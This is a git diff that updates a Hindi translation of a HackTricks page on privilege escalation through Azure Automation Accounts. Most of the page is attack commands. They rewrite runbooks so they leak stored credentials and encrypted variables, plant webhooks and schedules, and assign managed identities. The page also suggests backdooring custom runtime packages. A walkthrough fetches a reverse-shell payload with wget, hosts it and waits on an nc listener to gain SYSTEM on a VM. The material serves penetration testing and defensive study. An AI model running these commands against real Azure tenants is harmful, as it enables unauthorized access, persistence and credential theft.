mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+64
-46
@@ -12,29 +12,29 @@
|
||||
|
||||
### Hybrid Workers Group
|
||||
|
||||
- **Automation Account से VM तक**
|
||||
- **From the Automation Account to the VM**
|
||||
|
||||
याद रखें कि यदि किसी तरह एक हमलावर एक हाइब्रिड वर्कर में एक मनमाना रनबुक (मनमाना कोड) निष्पादित कर सकता है, तो वह **VM के स्थान पर पिवट करेगा**। यह एक ऑन-प्रिमाइस मशीन, एक अलग क्लाउड का VPC या यहां तक कि एक Azure VM हो सकता है।
|
||||
याद रखें कि यदि किसी तरह कोई attacker किसी hybrid worker में arbitrary runbook (arbitrary code) को execute कर सके, तो वह **VM के स्थान पर pivot कर जाएगा**। यह किसी on-premise मशीन, किसी दूसरे cloud का VPC या यहाँ तक कि एक Azure VM भी हो सकता है।
|
||||
|
||||
इसके अलावा, यदि हाइब्रिड वर्कर Azure में अन्य प्रबंधित पहचान के साथ चल रहा है, तो रनबुक **रनबुक की प्रबंधित पहचान और VM की सभी प्रबंधित पहचान को मेटाडेटा सेवा से** एक्सेस कर सकेगा।
|
||||
इसके अलावा, यदि hybrid worker Azure में चल रहा है और उसके साथ अन्य Managed Identities attached हैं, तो runbook **managed identity of the runbook और VM की सभी managed identities को metadata service से access कर सकेगा**।
|
||||
|
||||
> [!TIP]
|
||||
> याद रखें कि **मेटाडेटा सेवा** का एक अलग URL है (**`http://169.254.169.254`**) उस सेवा से जहां से ऑटोमेशन खाता की प्रबंधित पहचान टोकन प्राप्त किया जाता है (**`IDENTITY_ENDPOINT`**).
|
||||
> ध्यान रखें कि **metadata service** का अलग URL है (**`http://169.254.169.254`**) और यह उस service से अलग है जहाँ से automation account के managed identities token (**`IDENTITY_ENDPOINT`**) मिलते हैं।
|
||||
|
||||
- **VM से Automation Account तक**
|
||||
- **From the VM to the Automation Account**
|
||||
|
||||
इसके अलावा, यदि कोई एक VM को समझौता करता है जहां एक ऑटोमेशन खाता स्क्रिप्ट चल रही है, तो वह **Automation Account** मेटाडेटा को ढूंढ सकेगा और VM से इसे एक्सेस करके **Managed Identities** के लिए टोकन प्राप्त कर सकेगा जो Automation Account से जुड़े हैं।
|
||||
इसके अलावा, यदि कोई व्यक्ति उस VM को compromise कर ले जहां एक automation account script चल रही है, तो वह **Automation Account** के metadata को locate कर सकता है और VM से access करके Automation Account से attached **Managed Identities** के tokens प्राप्त कर सकता है।
|
||||
|
||||
जैसा कि निम्नलिखित छवि में देखा जा सकता है, VM पर व्यवस्थापक पहुंच होने पर **प्रक्रिया के पर्यावरण चर** में ऑटोमेशन खाता मेटाडेटा सेवा तक पहुंचने के लिए URL और गुप्त को खोजना संभव है:
|
||||
जैसा कि नीचे की इमेज में देखा जा सकता है, VM पर Administrator access होने पर process के **environment variables** में automation account metadata service को access करने के लिए URL और secret पाया जा सकता है:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
संक्षेप में, ये अनुमतियाँ **Automation Account में Runbooks बनाने, संशोधित करने और चलाने** की अनुमति देती हैं, जिसका उपयोग आप **Automation Account के संदर्भ में कोड निष्पादित करने** और असाइन की गई **Managed Identities** के लिए विशेषाधिकार बढ़ाने और **क्रेडेंशियल्स** और **एन्क्रिप्टेड वेरिएबल्स** को लीक करने के लिए कर सकते हैं।
|
||||
संक्षेप में ये permissions Automation Account में **Runbooks को create, modify और run करने** की अनुमति देती हैं, जिनका उपयोग आप Automation Account के context में **code execute** करने के लिए कर सकते हैं और assigned **Managed Identities** पर privileges escalate करके Automation Account में stored **credentials** और **encrypted variables** को leak कर सकते हैं।
|
||||
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** Automation Account में एक Runbook के कोड को संशोधित करने की अनुमति देती है:
|
||||
permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** आपको Automation Account में किसी Runbook के कोड को modify करने की अनुमति देता है, इसका उपयोग करके:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,9 +47,9 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
ध्यान दें कि पिछले स्क्रिप्ट का उपयोग **उपयोगकर्ता नाम और पासवर्ड** को **लीक** करने के लिए किया जा सकता है और Automation Account में संग्रहीत **एन्क्रिप्टेड वेरिएबल** का मान प्राप्त किया जा सकता है।
|
||||
ध्यान दें कि पिछले स्क्रिप्ट का उपयोग credential के **leak the useranmd and password** और Automation Account में संग्रहित एक **encrypted variable** के मान को प्राप्त करने के लिए किया जा सकता है।
|
||||
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** उपयोगकर्ता को Automation Account में एक Runbook प्रकाशित करने की अनुमति देती है ताकि परिवर्तन लागू किए जा सकें:
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** उपयोगकर्ता को Automation Account में Runbook प्रकाशित करने की अनुमति देती है ताकि परिवर्तन लागू हो सकें:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
@@ -64,18 +64,18 @@ az automation runbook start \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/jobs/output/read`** उपयोगकर्ता को Automation Account में एक नौकरी के आउटपुट को पढ़ने की अनुमति देती है:
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/jobs/output/read`** उपयोगकर्ता को Automation Account में किसी job का आउटपुट पढ़ने की अनुमति देती है, उपयोग करके:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
यदि रनबुक्स बनाए नहीं गए हैं, या आप एक नया बनाना चाहते हैं, तो आपको इसे करने के लिए **अनुमतियाँ `Microsoft.Resources/subscriptions/resourcegroups/read` और `Microsoft.Automation/automationAccounts/runbooks/write`** की आवश्यकता होगी:
|
||||
यदि Runbooks बनाए नहीं गए हैं, या आप एक नया बनाना चाहते हैं, तो इसे करने के लिए आपको **अनुमतियाँ `Microsoft.Resources/subscriptions/resourcegroups/read` और `Microsoft.Automation/automationAccounts/runbooks/write`** की आवश्यकता होगी:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
यह अनुमति उपयोगकर्ता को **Automation Account** में उपयोगकर्ता प्रबंधित पहचान **असाइन** करने की अनुमति देती है:
|
||||
यह अनुमति उपयोगकर्ता को निम्न का उपयोग करके Automation Account पर **user managed identity असाइन करने** की अनुमति देती है:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,9 +91,9 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/schedules/write`** के साथ, Automation Account में एक नया Schedule बनाना संभव है जो हर 15 मिनट में निष्पादित होता है (बहुत छिपा हुआ नहीं) निम्नलिखित कमांड का उपयोग करके।
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/schedules/write`** होने पर Automation Account में एक नया Schedule बनाया जा सकता है जो निम्नलिखित कमांड का उपयोग करके हर 15 मिनट पर चलाया जाता है (not very stealth)।
|
||||
|
||||
ध्यान दें कि **एक शेड्यूल के लिए न्यूनतम अंतराल 15 मिनट** है, और **न्यूनतम प्रारंभ समय 5 मिनट** भविष्य में है।
|
||||
ध्यान दें कि **किसी Schedule का न्यूनतम अंतराल 15 मिनट है**, और **न्यूनतम प्रारंभ समय भविष्य में 5 मिनट** होना चाहिए।
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
फिर, अनुमति **`Microsoft.Automation/automationAccounts/jobSchedules/write`** के साथ, एक रनबुक को शेड्यूलर असाइन करना संभव है:
|
||||
फिर, अनुमति **`Microsoft.Automation/automationAccounts/jobSchedules/write`** के साथ, निम्न का उपयोग करके एक Scheduler को runbook पर असाइन करना संभव है:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -134,22 +134,40 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> पिछले उदाहरण में jobchedule id को **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` उदाहरण के रूप में** छोड़ा गया था, लेकिन आपको इस असाइनमेंट को बनाने के लिए एक मनमाना मान उपयोग करने की आवश्यकता होगी।
|
||||
> पिछले उदाहरण में jobchedule id को **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** के रूप में छोड़ा गया था, लेकिन इस असाइनमेंट को बनाने के लिए आपको एक मनमाना मान उपयोग करना होगा।
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ, Automation Account के भीतर एक Runbook के लिए एक नया Webhook बनाने के लिए निम्नलिखित कमांड का उपयोग करना संभव है।
|
||||
इस अनुमति **`Microsoft.Automation/automationAccounts/webhooks/write`** के साथ आप निम्नलिखित कमांडों में से किसी एक का उपयोग करके किसी Automation Account के अंदर किसी Runbook के लिए नया Webhook बना सकते हैं।
|
||||
|
||||
Azure Powershell का उपयोग करके:
|
||||
```bash
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
यह कमांड एक वेबहुक URI लौटाना चाहिए जो केवल निर्माण के समय प्रदर्शित होता है। फिर, वेबहुक URI का उपयोग करके रनबुक को कॉल करने के लिए
|
||||
AzureCLI और REST के साथ:
|
||||
```bash
|
||||
az rest --method put \
|
||||
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
|
||||
--body '{
|
||||
"name": "<webhook-name>",
|
||||
"properties": {
|
||||
"isEnabled": true,
|
||||
"expiryTime": "2027-12-31T23:59:59+00:00",
|
||||
"runOn": "<worker name>",
|
||||
"runbook": {
|
||||
"name": "<runbook-name>"
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
ये commands एक webhook URI वापस करेंगे जो केवल बनाए जाने पर दिखता है। फिर, webhook URI का उपयोग करके runbook को कॉल करने के लिए
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
केवल अनुमति `Microsoft.Automation/automationAccounts/runbooks/draft/write` के साथ, **एक Runbook का कोड अपडेट करना** संभव है बिना इसे प्रकाशित किए और इसे निम्नलिखित कमांड का उपयोग करके चलाना।
|
||||
केवल अनुमति `Microsoft.Automation/automationAccounts/runbooks/draft/write` होने पर बिना प्रकाशित किए **Runbook का कोड अपडेट करना** और उसे निम्नलिखित कमांड्स का उपयोग करके चलाना संभव है।
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
यह अनुमति उपयोगकर्ता को Automation Account के लिए **एक स्रोत नियंत्रण कॉन्फ़िगर** करने की अनुमति देती है, जैसे कि निम्नलिखित कमांड का उपयोग करते हुए (यह Github को उदाहरण के रूप में उपयोग करता है):
|
||||
यह अनुमति उपयोगकर्ता को Automation Account के लिए **source control को कॉन्फ़िगर करने** की अनुमति देती है, निम्नलिखित commands का उपयोग करके (यह Github का उदाहरण है):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -190,16 +208,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
यह स्वचालित रूप से Github रिपॉजिटरी से रनबुक को ऑटोमेशन अकाउंट में आयात करेगा और कुछ अन्य अनुमतियों के साथ उन्हें चलाना शुरू करने पर **privileges को बढ़ाना संभव होगा**।
|
||||
यह Github repository से runbooks को Automation Account में स्वचालित रूप से import कर देगा और उन्हें चलाने की कुछ अन्य permissions मिलने पर यह **possible to escalate privileges** हो सकता है।
|
||||
|
||||
इसके अलावा, याद रखें कि ऑटोमेशन अकाउंट में स्रोत नियंत्रण काम करने के लिए, इसमें एक प्रबंधित पहचान होनी चाहिए जिसमें **`Contributor`** भूमिका हो और यदि यह एक उपयोगकर्ता प्रबंधित पहचान है, तो MI का क्लाइंट आईडी को वेरिएबल **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में निर्दिष्ट किया जाना चाहिए।
|
||||
इसके अलावा, याद रखें कि source control के लिए Automation Accounts में काम करने हेतु इसमें एक managed identity होनी चाहिए जिसका role **`Contributor`** हो, और अगर यह एक user managed identity है तो MI का client id वेरिएबल **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** में specify करना होगा।
|
||||
|
||||
> [!TIP]
|
||||
> ध्यान दें कि एक बार स्रोत नियंत्रण का निर्माण हो जाने के बाद, इसके रिपॉजिटरी URL को बदलना संभव नहीं है।
|
||||
> ध्यान दें कि एक बार source control बनाने के बाद उसके repo URL को बदलना संभव नहीं है।
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
अनुमति **`Microsoft.Automation/automationAccounts/variables/write`** के साथ, निम्नलिखित कमांड का उपयोग करके ऑटोमेशन अकाउंट में वेरिएबल लिखना संभव है।
|
||||
permission **`Microsoft.Automation/automationAccounts/variables/write`** से Automation Account में variables लिखना निम्नलिखित command का उपयोग करके संभव है।
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -213,53 +231,53 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### कस्टम रनटाइम वातावरण
|
||||
### कस्टम रनटाइम एन्वायरनमेंट्स
|
||||
|
||||
यदि एक ऑटोमेशन खाता एक कस्टम रनटाइम वातावरण का उपयोग कर रहा है, तो यह संभव है कि रनटाइम के एक कस्टम पैकेज को कुछ दुर्भावनापूर्ण कोड (जैसे **एक बैकडोर**) के साथ ओवरराइट किया जा सके। इस तरह, जब भी उस कस्टम रनटाइम का उपयोग करने वाला एक रनबुक निष्पादित होता है और कस्टम पैकेज लोड होता है, तो दुर्भावनापूर्ण कोड निष्पादित होगा।
|
||||
यदि कोई automation account किसी कस्टम runtime environment का उपयोग कर रहा है, तो runtime के किसी कस्टम पैकेज को कुछ malicious code (जैसे **a backdoor**) से overwrite करना संभव हो सकता है। इस तरह, जब भी उस custom runtime का उपयोग करने वाला runbook execute होगा और custom package को load करेगा, तो malicious code execute हो जाएगा।
|
||||
|
||||
### राज्य कॉन्फ़िगरेशन का समझौता करना
|
||||
### State Configuration से समझौता
|
||||
|
||||
**पूर्ण पोस्ट देखें:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- चरण 1 — फ़ाइलें बनाएं
|
||||
- Step 1 — फ़ाइलें बनाना
|
||||
|
||||
**आवश्यक फ़ाइलें:** दो PowerShell स्क्रिप्ट की आवश्यकता है:
|
||||
1. `reverse_shell_config.ps1`: एक इच्छित राज्य कॉन्फ़िगरेशन (DSC) फ़ाइल जो पेलोड को लाती और निष्पादित करती है। यह [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) से प्राप्त की जा सकती है।
|
||||
2. `push_reverse_shell_config.ps1`: एक स्क्रिप्ट जो कॉन्फ़िगरेशन को VM पर प्रकाशित करती है, जो [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) पर उपलब्ध है।
|
||||
**आवश्यक फ़ाइलें:** दो PowerShell स्क्रिप्ट आवश्यक हैं:
|
||||
1. `reverse_shell_config.ps1`: एक Desired State Configuration (DSC) फ़ाइल जो payload को fetch कर के execute करती है। इसे [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) से प्राप्त किया जा सकता है।
|
||||
2. `push_reverse_shell_config.ps1`: कॉन्फ़िगरेशन को VM पर publish करने के लिए एक स्क्रिप्ट, उपलब्ध है [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1) पर।
|
||||
|
||||
**कस्टमाइजेशन:** इन फ़ाइलों में वेरिएबल और पैरामीटर को उपयोगकर्ता के विशिष्ट वातावरण के अनुसार अनुकूलित किया जाना चाहिए, जिसमें संसाधन नाम, फ़ाइल पथ, और सर्वर/पेलोड पहचानकर्ता शामिल हैं।
|
||||
**कस्टमाइज़ेशन:** इन फ़ाइलों में मौजूद variables और parameters को उपयोगकर्ता के specific environment के अनुसार अनुकूलित करना होगा, जिसमें resource names, file paths, और server/payload identifiers शामिल हैं।
|
||||
|
||||
- चरण 2 — कॉन्फ़िगरेशन फ़ाइल को ज़िप करें
|
||||
- Step 2 — कॉन्फ़िगरेशन फ़ाइल को Zip करना
|
||||
|
||||
`reverse_shell_config.ps1` को एक `.zip` फ़ाइल में संकुचित किया जाता है, जिससे इसे Azure स्टोरेज खाते में स्थानांतरित करने के लिए तैयार किया जा सके।
|
||||
`reverse_shell_config.ps1` को एक `.zip` फ़ाइल में compress किया जाता है, ताकि इसे Azure Storage Account पर transfer करने के लिए तैयार किया जा सके।
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Step 3 — स्टोरेज संदर्भ सेट करें और अपलोड करें
|
||||
- चरण 3 — स्टोरेज संदर्भ सेट करें और अपलोड
|
||||
|
||||
ज़िप किया गया कॉन्फ़िगरेशन फ़ाइल एक पूर्वनिर्धारित Azure स्टोरेज कंटेनर, azure-pentest, में Azure के Set-AzStorageBlobContent cmdlet का उपयोग करके अपलोड किया जाता है।
|
||||
ज़िप की गई कॉन्फ़िगरेशन फ़ाइल को पहले से परिभाषित Azure Storage कंटेनर, azure-pentest, में Azure के Set-AzStorageBlobContent cmdlet का उपयोग करके अपलोड किया जाता है।
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Step 4 — Prep Kali Box
|
||||
- चरण 4 — Kali Box की तैयारी
|
||||
|
||||
Kali सर्वर GitHub रिपॉजिटरी से RevPS.ps1 पेलोड डाउनलोड करता है।
|
||||
Kali सर्वर RevPS.ps1 payload को एक GitHub repository से डाउनलोड करता है।
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
स्क्रिप्ट को लक्षित Windows VM और रिवर्स शेल के लिए पोर्ट निर्दिष्ट करने के लिए संपादित किया गया है।
|
||||
स्क्रिप्ट को लक्षित Windows VM और reverse shell के लिए पोर्ट निर्दिष्ट करने हेतु संपादित किया गया है।
|
||||
|
||||
- Step 5 — Publish Configuration File
|
||||
- Step 5 — कॉन्फ़िगरेशन फ़ाइल प्रकाशित करें
|
||||
|
||||
कॉन्फ़िगरेशन फ़ाइल निष्पादित की जाती है, जिसके परिणामस्वरूप रिवर्स-शेल स्क्रिप्ट को Windows VM पर निर्दिष्ट स्थान पर तैनात किया जाता है।
|
||||
कॉन्फ़िगरेशन फ़ाइल निष्पादित की जाती है, जिससे reverse-shell स्क्रिप्ट Windows VM पर निर्दिष्ट स्थान पर तैनात हो जाती है।
|
||||
|
||||
- Step 6 — Host Payload and Setup Listener
|
||||
- Step 6 — Payload होस्ट करें और Listener सेटअप करें
|
||||
|
||||
पेलोड को होस्ट करने के लिए एक Python SimpleHTTPServer शुरू किया जाता है, साथ ही आने वाले कनेक्शनों को कैप्चर करने के लिए एक Netcat लिस्नर।
|
||||
Payload होस्ट करने के लिए एक Python SimpleHTTPServer शुरू किया जाता है, साथ ही आने वाले कनेक्शनों को पकड़ने के लिए एक Netcat listener भी सेट किया जाता है।
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
निर्धारित कार्य पेलोड को निष्पादित करता है, SYSTEM-स्तरीय विशेषाधिकार प्राप्त करता है।
|
||||
यह scheduled task payload को चलाता है, जिससे SYSTEM-level privileges प्राप्त होते हैं।
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user